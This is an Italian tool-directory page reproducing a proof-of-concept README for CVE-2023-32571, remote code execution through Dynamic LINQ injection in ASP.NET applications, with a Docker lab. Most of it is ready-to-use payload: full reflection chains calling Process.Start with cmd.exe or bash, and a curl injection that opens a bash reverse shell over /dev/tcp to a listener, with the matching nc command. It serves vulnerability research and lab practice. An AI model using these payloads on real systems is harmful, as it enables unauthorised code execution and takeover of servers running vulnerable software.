Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-32571-POC — Prova di concetto per CVE-2023-32571, che dimostra l'esecuzione remota di codice tramite iniezione Dynamic LINQ in applicazioni ASP.NET. Include payload e un laboratorio Docker per i test. | Kitploit
Strumenti/GitHubGitHub/tris0n/cve-2023-32571-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubtris0n/cve-2023-32571-poc

CVE-2023-32571-POC

Prova di concetto per CVE-2023-32571, che dimostra l'esecuzione remota di codice tramite iniezione Dynamic LINQ in applicazioni ASP.NET. Include payload e un laboratorio Docker per i test.

Vedi Repository
732 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Iniezione Dynamic Linq verso RCE - CVE-2023-32571

Informazioni sull'iniezione Dynamic Linq verso RCE (CVE-2023-32571)

Recentemente, i membri dell'NCC Group hanno scoperto una vulnerabilità in Dynamic Linq che permette agli attaccanti di chiamare funzioni C# tramite un'iniezione Linq, rendendo così possibile ottenere RCE.

Nonostante il report RCE su Dynamic Linq, i membri dell'NCC Group per qualche motivo non hanno reso disponibile il POC per eseguire comandi.

POC

Come affermato nella ricerca dell'NCC Group, possiamo chiamare metodi C# tramite "Invoke". Con questo, possiamo chiamare "System.Diagnostics.Process.Start" ed eseguire comandi sul server.

Possiamo usare il metodo "CreateInstanceFromAndUnwrap" per chiamare System.Diagnostics.Process tramite l'assembly.

Payload per usare il metodo System.AppDomain.CreateInstanceAndUnwrap:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

Payload per chiamare System.Diagnostics.Process tramite il metodo :

Vai nella directory del repository: Esegui docker-compose:
CreateInstanceAndUnwrap
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

Accedendo ai metodi della classe System.Diagnostics.Process, possiamo usare il metodo System.Diagnostics.Process.Start per eseguire comandi sul sistema:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

Oss: Nota che il payload cerca i primi 3 metodi Start e prende l'ultimo. Ho fatto questo perché l'elenco dei metodi in System.Diagnostics.Process aveva diversi metodi Start, e quello di cui abbiamo bisogno è il terzo della lista.

Final Payload

Target Windows

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Target Linux
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

Per avviare il laboratorio, segui le istruzioni

Installa docker e docker-compose:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

Clona questo repository:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

root@kitploit:~
cd CVE-2023-32571-POC

root@kitploit:~
sudo docker-compose up --build

L'applicazione si avvia su http://localhost:8000/

Descrizione del laboratorio

Accedendo alla route "/api/products" tramite il metodo POST, vediamo che restituisce una lista di prodotti:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

Inviando il parametro name in json, possiamo filtrare i prodotti:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

Dopo alcuni test, vediamo che siamo riusciti a iniettare nella query Dynamic Linq. Inviando il seguente payload, siamo riusciti ad ottenere una reverse shell:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

Riferimenti

  • https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/
  • https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/
  • https://github.com/advisories/GHSA-w65q-jcmv-28gj
Scarica lo strumento